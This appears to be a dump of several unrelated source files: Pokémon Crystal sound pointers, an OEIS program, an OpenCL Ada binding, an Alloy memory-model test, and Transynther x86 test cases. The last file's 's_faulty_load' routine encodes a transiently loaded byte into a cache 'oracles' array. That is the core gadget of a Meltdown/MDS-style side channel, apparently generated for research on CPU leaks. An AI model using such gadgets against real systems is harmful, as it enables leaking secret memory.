'type': 'addresses_NC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': True, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'src': {'same': True, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}} {'39': 3384} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
audio/sfx_pointers.asm
MathyFurret/CryEd
1
2068
SFX: ; e927c ; entries correspond to SFX_* constants dba Sfx_DexFanfare5079 dba Sfx_Item dba Sfx_CaughtMon dba Sfx_PokeballsPlacedOnTable dba Sfx_Potion dba Sfx_FullHeal dba Sfx_Menu dba Sfx_ReadText dba Sfx_ReadText2 dba Sfx_DexFanfare2049 dba Sfx_DexFanfare80109 dba Sfx_Poison dba Sfx_GotSafariBalls dba Sfx_BootPc dba Sfx_ShutDownPc dba Sfx_ChoosePcOption dba Sfx_EscapeRope dba Sfx_PushButton dba Sfx_SecondPartOfItemfinder dba Sfx_WarpTo dba Sfx_WarpFrom dba Sfx_ChangeDexMode dba Sfx_JumpOverLedge dba Sfx_GrassRustle dba Sfx_Fly dba Sfx_Wrong dba Sfx_Squeak dba Sfx_Strength dba Sfx_Boat dba Sfx_WallOpen dba Sfx_PlacePuzzlePieceDown dba Sfx_EnterDoor dba Sfx_SwitchPokemon dba Sfx_Tally dba Sfx_Transaction dba Sfx_ExitBuilding dba Sfx_Bump dba Sfx_Save dba Sfx_Pokeflute dba Sfx_ElevatorEnd dba Sfx_ThrowBall dba Sfx_BallPoof dba Sfx_Unknown3A dba Sfx_Run dba Sfx_SlotMachineStart dba Sfx_Fanfare dba Sfx_Peck dba Sfx_Kinesis dba Sfx_Lick dba Sfx_Pound dba Sfx_MovePuzzlePiece dba Sfx_CometPunch dba Sfx_MegaPunch dba Sfx_Scratch dba Sfx_Vicegrip dba Sfx_RazorWind dba Sfx_Cut dba Sfx_WingAttack dba Sfx_Whirlwind dba Sfx_Bind dba Sfx_VineWhip dba Sfx_DoubleKick dba Sfx_MegaKick dba Sfx_Headbutt dba Sfx_HornAttack dba Sfx_Tackle dba Sfx_PoisonSting dba Sfx_Powder dba Sfx_Doubleslap dba Sfx_Bite dba Sfx_JumpKick dba Sfx_Stomp dba Sfx_TailWhip dba Sfx_KarateChop dba Sfx_Submission dba Sfx_WaterGun dba Sfx_SwordsDance dba Sfx_Thunder dba Sfx_Supersonic dba Sfx_Leer dba Sfx_Ember dba Sfx_Bubblebeam dba Sfx_HydroPump dba Sfx_Surf dba Sfx_Psybeam dba Sfx_Charge dba Sfx_Thundershock dba Sfx_Psychic dba Sfx_Screech dba Sfx_BoneClub dba Sfx_Sharpen dba Sfx_EggBomb dba Sfx_Sing dba Sfx_HyperBeam dba Sfx_Shine dba Sfx_Unknown5F dba Sfx_Unknown60 dba Sfx_Unknown61 dba Sfx_SwitchPockets dba Sfx_Unknown63 dba Sfx_Burn dba Sfx_TitleScreenEntrance dba Sfx_Unknown66 dba Sfx_GetCoinFromSlots dba Sfx_PayDay dba Sfx_Metronome dba Sfx_Call dba Sfx_HangUp dba Sfx_NoSignal dba Sfx_Sandstorm dba Sfx_Elevator dba Sfx_Protect dba Sfx_Sketch dba Sfx_RainDance dba Sfx_Aeroblast dba Sfx_Spark dba Sfx_Curse dba Sfx_Rage dba Sfx_Thief dba Sfx_Thief2 dba Sfx_SpiderWeb dba Sfx_MindReader dba Sfx_Nightmare dba Sfx_Snore dba Sfx_SweetKiss dba Sfx_SweetKiss2 dba Sfx_BellyDrum dba Sfx_Unknown7F dba Sfx_SludgeBomb dba Sfx_Foresight dba Sfx_Spite dba Sfx_Outrage dba Sfx_PerishSong dba Sfx_GigaDrain dba Sfx_Attract dba Sfx_Kinesis2 dba Sfx_ZapCannon dba Sfx_MeanLook dba Sfx_HealBell dba Sfx_Return dba Sfx_ExpBar dba Sfx_MilkDrink dba Sfx_Present dba Sfx_MorningSun dba Sfx_LevelUp dba Sfx_KeyItem dba Sfx_Fanfare2 dba Sfx_RegisterPhoneNumber dba Sfx_3RdPlace dba Sfx_GetEggFromDayCareMan dba Sfx_GetEggFromDayCareLady dba Sfx_MoveDeleted dba Sfx_2ndPlace dba Sfx_1stPlace dba Sfx_ChooseACard dba Sfx_GetTm dba Sfx_GetBadge dba Sfx_QuitSlots dba Sfx_EggCrack dba Sfx_DexFanfareLessThan20 dba Sfx_DexFanfare140169 dba Sfx_DexFanfare170199 dba Sfx_DexFanfare200229 dba Sfx_DexFanfare230Plus dba Sfx_Evolved dba Sfx_MasterBall dba Sfx_EggHatch dba Sfx_GsIntroCharizardFireball dba Sfx_GsIntroPokemonAppears dba Sfx_Flash dba Sfx_GameFreakLogoGs dba Sfx_NotVeryEffective dba Sfx_Damage dba Sfx_SuperEffective dba Sfx_BallBounce dba Sfx_Moonlight dba Sfx_Encore dba Sfx_BeatUp dba Sfx_BatonPass dba Sfx_BallWobble dba Sfx_SweetScent dba Sfx_SweetScent2 dba Sfx_HitEndOfExpBar dba Sfx_GiveTrademon dba Sfx_GetTrademon dba Sfx_TrainArrived dba Sfx_StopSlot dba Sfx_2Boops dba Sfx_GlassTing dba Sfx_GlassTing2 ; Crystal adds the following SFX: dba Sfx_IntroUnown1 dba Sfx_IntroUnown2 dba Sfx_IntroUnown3 dba Sfx_DittoPopUp dba Sfx_DittoTransform dba Sfx_IntroSuicune1 dba Sfx_IntroPichu dba Sfx_IntroSuicune2 dba Sfx_IntroSuicune3 dba Sfx_DittoBounce dba Sfx_IntroSuicune4 dba Sfx_GameFreakPresents dba Sfx_Tingle dba Sfx_UnknownCB dba Sfx_TwoPcBeeps dba Sfx_4NoteDitty dba Sfx_Twinkle ; e94e9
oeis/083/A083886.asm
neoneye/loda-programs
11
881
; A083886: Expansion of e.g.f. exp(3*x)*exp(x^2). ; Submitted by <NAME>(s1) ; 1,3,11,45,201,963,4899,26253,147345,862083,5238459,32957037,214117209,1433320515,9867008979,69734001357,505212273441,3747124863747,28418591888235,220152270759597,1740363304031721,14027180742479043,115176800996769411,962726355659386125,8186311912829551281,70769800810139187843,621624998071895127579,5544904636342923150573,50202463804911106340985,461122051049937015455043,4295109053834655214142259,40552650224500186569729357,387954712011249182986008129,3759233750401759489420703235 mov $2,1 mov $4,1 lpb $0 sub $0,1 mov $3,$4 mul $3,2 mov $4,$2 add $2,$3 mul $4,$0 add $4,$2 lpe mov $0,$2
src/implementation/cl-platforms.adb
flyx/OpenCLAda
8
25250
-------------------------------------------------------------------------------- -- Copyright (c) 2013, <NAME> <<EMAIL>> -- -- Permission to use, copy, modify, and/or distribute this software for any -- purpose with or without fee is hereby granted, provided that the above -- copyright notice and this permission notice appear in all copies. -- -- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. -------------------------------------------------------------------------------- with Ada.Unchecked_Conversion; with System; with CL.API; with CL.Helpers; with CL.Enumerations; package body CL.Platforms is ----------------------------------------------------------------------------- -- Helper instantiations ----------------------------------------------------------------------------- function Platform_String_Info is new Helpers.Get_String (Parameter_T => Enumerations.Platform_Info, C_Getter => API.Get_Platform_Info); function UInt_Info is new Helpers.Get_Parameter (Return_T => CL.UInt, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); function ULong_Info is new Helpers.Get_Parameter (Return_T => CL.ULong, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); function Size_Info is new Helpers.Get_Parameter (Return_T => Size, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); function Bool_Info is new Helpers.Get_Parameter (Return_T => CL.Bool, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); function String_Info is new Helpers.Get_String (Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); ----------------------------------------------------------------------------- -- Implementations ----------------------------------------------------------------------------- function List return Platform_List is Platform_Count : aliased UInt; Error : Enumerations.Error_Code; begin Error := API.Get_Platform_IDs (0, System.Null_Address, Platform_Count'Unchecked_Access); Helpers.Error_Handler (Error); declare Raw_List : Address_List (1 .. Integer (Platform_Count)); Return_List : Platform_List (1 .. Integer (Platform_Count)); begin Error := API.Get_Platform_IDs (Platform_Count, Raw_List (1)'Address, null); Helpers.Error_Handler (Error); for Index in Raw_List'Range loop Return_List (Index) := Platform'(Ada.Finalization.Controlled with Location => Raw_List (Index)); end loop; return Return_List; end; end List; function Profile (Source : Platform) return String is begin return Platform_String_Info (Source, Enumerations.Profile); end Profile; function Version (Source : Platform) return String is begin return Platform_String_Info (Source, Enumerations.Version); end Version; function Name (Source : Platform) return String is begin return Platform_String_Info (Source, Enumerations.Name); end Name; function Vendor (Source : Platform) return String is begin return Platform_String_Info (Source, Enumerations.Vendor); end Vendor; function Extensions (Source : Platform) return String is begin return Platform_String_Info (Source, Enumerations.Extensions); end Extensions; function Devices (Source : Platform; Types : Device_Kind) return Device_List is Device_Count : aliased UInt; Error : Enumerations.Error_Code; function To_Bitfield is new Ada.Unchecked_Conversion (Source => Device_Kind, Target => Bitfield); begin Error := API.Get_Device_IDs (Source.Location, To_Bitfield (Types), 0, System.Null_Address, Device_Count'Unchecked_Access); Helpers.Error_Handler (Error); declare Raw_List : Address_List (1 .. Integer (Device_Count)); Return_List : Device_List (1 .. Integer (Device_Count)); begin Error := API.Get_Device_IDs (Source.Location, To_Bitfield (Types), Device_Count, Raw_List (1)'Address, null); Helpers.Error_Handler (Error); for Index in Raw_List'Range loop Return_List (Index) := Device'(Ada.Finalization.Controlled with Location => Raw_List (Index)); end loop; return Return_List; end; end Devices; function Vendor_ID (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Vendor_ID); end Vendor_ID; function Max_Compute_Units (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Compute_Units); end Max_Compute_Units; function Max_Work_Item_Dimensions (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Work_Item_Dimensions); end Max_Work_Item_Dimensions; function Preferred_Vector_Width_Char (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Char); end Preferred_Vector_Width_Char; function Preferred_Vector_Width_Short (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Short); end Preferred_Vector_Width_Short; function Preferred_Vector_Width_Int (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Int); end Preferred_Vector_Width_Int; function Preferred_Vector_Width_Long (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Long); end Preferred_Vector_Width_Long; function Preferred_Vector_Width_Float (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Float); end Preferred_Vector_Width_Float; function Preferred_Vector_Width_Double (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Double); end Preferred_Vector_Width_Double; function Max_Clock_Frequency (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Clock_Frequency); end Max_Clock_Frequency; function Address_Bits (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Address_Bits); end Address_Bits; function Max_Read_Image_Args (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Read_Image_Args); end Max_Read_Image_Args; function Max_Write_Image_Args (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Write_Image_Args); end Max_Write_Image_Args; function Max_Samplers (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Samplers); end Max_Samplers; function Mem_Base_Addr_Align (Source: Device) return UInt is begin return UInt_Info (Source, Enumerations.Mem_Base_Addr_Align); end Mem_Base_Addr_Align; function Min_Data_Type_Align_Size (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Min_Data_Type_Align_Size); end Min_Data_Type_Align_Size; function Global_Mem_Cacheline_Size (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Global_Mem_Cacheline_Size); end Global_Mem_Cacheline_Size; function Max_Constant_Args (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Max_Constant_Args); end Max_Constant_Args; function Preferred_Vector_Width_Half (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Preferred_Vector_Width_Half); end Preferred_Vector_Width_Half; function Native_Vector_Width_Char (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Char); end Native_Vector_Width_Char; function Native_Vector_Width_Short (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Short); end Native_Vector_Width_Short; function Native_Vector_Width_Int (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Int); end Native_Vector_Width_Int; function Native_Vector_Width_Long (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Long); end Native_Vector_Width_Long; function Native_Vector_Width_Float (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Float); end Native_Vector_Width_Float; function Native_Vector_Width_Double (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Double); end Native_Vector_Width_Double; function Native_Vector_Width_Half (Source : Device) return UInt is begin return UInt_Info (Source, Enumerations.Native_Vector_Width_Half); end Native_Vector_Width_Half; function Max_Mem_Alloc_Size (Source : Device) return ULong is begin return ULong_Info (Source, Enumerations.Max_Mem_Alloc_Size); end Max_Mem_Alloc_Size; function Global_Mem_Cache_Size (Source : Device) return ULong is begin return ULong_Info (Source, Enumerations.Global_Mem_Cache_Size); end Global_Mem_Cache_Size; function Global_Mem_Size (Source : Device) return ULong is begin return ULong_Info (Source, Enumerations.Global_Mem_Size); end Global_Mem_Size; function Max_Constant_Buffer_Size (Source : Device) return ULong is begin return ULong_Info (Source, Enumerations.Max_Constant_Buffer_Size); end Max_Constant_Buffer_Size; function Local_Mem_Size (Source : Device) return ULong is begin return ULong_Info (Source, Enumerations.Local_Mem_Size); end Local_Mem_Size; function Max_Work_Group_Size (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Max_Work_Group_Size); end Max_Work_Group_Size; function Image2D_Max_Width (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Image2D_Max_Width); end Image2D_Max_Width; function Image2D_Max_Height (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Image2D_Max_Height); end Image2D_Max_Height; function Image3D_Max_Width (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Image3D_Max_Width); end Image3D_Max_Width; function Image3D_Max_Height (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Image3D_Max_Height); end Image3D_Max_Height; function Image3D_Max_Depth (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Image3D_Max_Depth); end Image3D_Max_Depth; function Max_Parameter_Size (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Max_Parameter_Size); end Max_Parameter_Size; function Profiling_Timer_Resolution (Source : Device) return Size is begin return Size_Info (Source, Enumerations.Profiling_Timer_Resolution); end Profiling_Timer_Resolution; function Image_Support (Source : Device) return Boolean is begin return Boolean (Bool_Info (Source, Enumerations.Image_Support)); end Image_Support; function Error_Correction_Support (Source : Device) return Boolean is begin return Boolean (Bool_Info (Source, Enumerations.Error_Correction_Support)); end Error_Correction_Support; function Endian_Little (Source : Device) return Boolean is begin return Boolean (Bool_Info (Source, Enumerations.Endian_Little)); end Endian_Little; function Available (Source : Device) return Boolean is begin return Boolean (Bool_Info (Source, Enumerations.Available)); end Available; function Compiler_Available (Source : Device) return Boolean is begin return Boolean (Bool_Info (Source, Enumerations.Compiler_Available)); end Compiler_Available; function Host_Unified_Memory (Source : Device) return Boolean is begin return Boolean (Bool_Info (Source, Enumerations.Host_Unified_Memory)); end Host_Unified_Memory; function Name (Source : Device) return String is begin return String_Info (Source, Enumerations.Name); end Name; function Vendor (Source : Device) return String is begin return String_Info (Source, Enumerations.Vendor); end Vendor; function Driver_Version (Source : Device) return String is begin return String_Info (Source, Enumerations.Driver_Version); end Driver_Version; function Profile (Source : Device) return String is begin return String_Info (Source, Enumerations.Profile); end Profile; function Version (Source : Device) return String is begin return String_Info (Source, Enumerations.Version); end Version; function Extensions (Source : Device) return String is begin return String_Info (Source, Enumerations.Extensions); end Extensions; function OpenCL_C_Version (Source : Device) return String is begin return String_Info (Source, Enumerations.OpenCL_C_Version); end OpenCL_C_Version; function Max_Work_Item_Sizes (Source : Device) return Size_List is function Getter is new Helpers.Get_Parameters (Return_Element_T => Size, Return_T => Size_List, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Max_Work_Item_Sizes); end Max_Work_Item_Sizes; function Single_Floating_Point_Config (Source : Device) return Floating_Point_Config is function Getter is new Helpers.Get_Parameter (Return_T => Floating_Point_Config, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Single_FP_Config); end Single_Floating_Point_Config; function Memory_Cache_Type (Source : Device) return Memory_Cache_Kind is function Getter is new Helpers.Get_Parameter (Return_T => Memory_Cache_Kind, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Global_Mem_Cache_Type); end Memory_Cache_Type; function Local_Memory_Type (Source : Device) return Local_Memory_Kind is function Getter is new Helpers.Get_Parameter (Return_T => Local_Memory_Kind, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Local_Mem_Type); end Local_Memory_Type; function Kind (Source : Device) return Device_Kind is function Getter is new Helpers.Get_Parameter (Return_T => Device_Kind, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Dev_Type); end Kind; function Execution_Capabilities (Source : Device) return Capability_Vector is function Getter is new Helpers.Get_Parameter (Return_T => Capability_Vector, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Execution_Capabilities); end Execution_Capabilities; function Command_Queue_Properties (Source : Device) return CQ_Property_Vector is function Getter is new Helpers.Get_Parameter (Return_T => CQ_Property_Vector, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Getter (Source, Enumerations.Queue_Properties); end Command_Queue_Properties; function Associated_Platform (Source : Device) return Platform'Class is function Getter is new Helpers.Get_Parameter (Return_T => System.Address, Parameter_T => Enumerations.Device_Info, C_Getter => API.Get_Device_Info); begin return Platform'(Ada.Finalization.Controlled with Location => Getter (Source, Enumerations.Platform)); end Associated_Platform; end CL.Platforms;
case-studies/performance/verification/alloy/ppc/tests/rfi002.als
uwplse/memsynth
19
2647
module tests/rfi002 open program open model /** PPC rfi002 "DpdW Wse Rfi DpdW Wse Rfi" Cycle=DpdW Wse Rfi DpdW Wse Rfi Relax=Rfi Safe=Wse DpdW { 0:r2=x; 0:r6=y; 1:r2=y; 1:r6=x; } P0 | P1 ; li r1,2 | li r1,2 ; stw r1,0(r2) | stw r1,0(r2) ; lwz r3,0(r2) | lwz r3,0(r2) ; xor r4,r3,r3 | xor r4,r3,r3 ; li r5,1 | li r5,1 ; stwx r5,r4,r6 | stwx r5,r4,r6 ; exists (x=2 /\ y=2 /\ 0:r3=2 /\ 1:r3=2) **/ one sig x, y extends Location {} one sig P1, P2 extends Processor {} one sig op1 extends Write {} one sig op2 extends Read {} one sig op3 extends Write {} one sig op4 extends Write {} one sig op5 extends Read {} one sig op6 extends Write {} fact { P1.write[1, op1, x, 2] P1.read[2, op2, x, 2] P1.write[3, op3, y, 1] and op3.dep[op2] P2.write[4, op4, y, 2] P2.read[5, op5, y, 2] P2.write[6, op6, x, 1] and op6.dep[op5] } fact { y.final[2] x.final[2] } Allowed: run { Allowed_PPC } for 4 int expect 1
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_19148_420.asm
ljhsiun2/medusa
9
98757
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_D_ht+0x8e0c, %rsi lea addresses_A_ht+0x122a0, %rdi add $26611, %r10 mov $82, %rcx rep movsw nop nop nop sub $24095, %r12 lea addresses_D_ht+0x178cc, %rsi lea addresses_normal_ht+0xc74c, %rdi nop inc %r13 mov $29, %rcx rep movsw nop nop and %rsi, %rsi lea addresses_D_ht+0x534c, %rsi nop and $7160, %r15 mov $0x6162636465666768, %r10 movq %r10, %xmm2 movups %xmm2, (%rsi) nop nop nop nop nop xor $54890, %r10 lea addresses_A_ht+0x86d4, %rsi lea addresses_A_ht+0x1b14c, %rdi nop nop nop nop nop sub $40344, %r9 mov $116, %rcx rep movsb nop nop nop nop xor $19115, %r10 lea addresses_WT_ht+0x1da4c, %rsi lea addresses_UC_ht+0x19b0c, %rdi nop nop nop nop inc %r12 mov $100, %rcx rep movsq sub %r10, %r10 lea addresses_UC_ht+0x387c, %rcx nop nop sub %r10, %r10 movb $0x61, (%rcx) nop nop nop nop add %r9, %r9 lea addresses_A_ht+0x11c4c, %r13 nop nop nop inc %rdi mov (%r13), %rcx nop add $5311, %r12 lea addresses_normal_ht+0x13e4c, %rsi lea addresses_UC_ht+0x6ac5, %rdi cmp %r9, %r9 mov $107, %rcx rep movsq nop nop and $59807, %r13 lea addresses_A_ht+0x171bc, %r9 nop nop nop nop cmp $18049, %rsi vmovups (%r9), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r15 nop add $4665, %r15 lea addresses_WT_ht+0x37b8, %rsi lea addresses_normal_ht+0x12a8c, %rdi nop nop inc %r15 mov $126, %rcx rep movsw nop add $61308, %r10 lea addresses_D_ht+0x1d000, %rsi lea addresses_A_ht+0x1924c, %rdi nop nop nop nop nop and $52241, %r12 mov $2, %rcx rep movsw and %r10, %r10 lea addresses_A_ht+0x464c, %rsi lea addresses_normal_ht+0xcc94, %rdi nop nop sub %r10, %r10 mov $106, %rcx rep movsb nop nop cmp %r13, %r13 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %r9 push %rbp push %rsi // Faulty Load mov $0x22767a0000000f4c, %rsi nop nop sub %r8, %r8 vmovups (%rsi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r14 lea oracles, %r15 and $0xff, %r14 shlq $12, %r14 mov (%r15,%r14,1), %r14 pop %rsi pop %rbp pop %r9 pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 11, 'same': True, 'type': 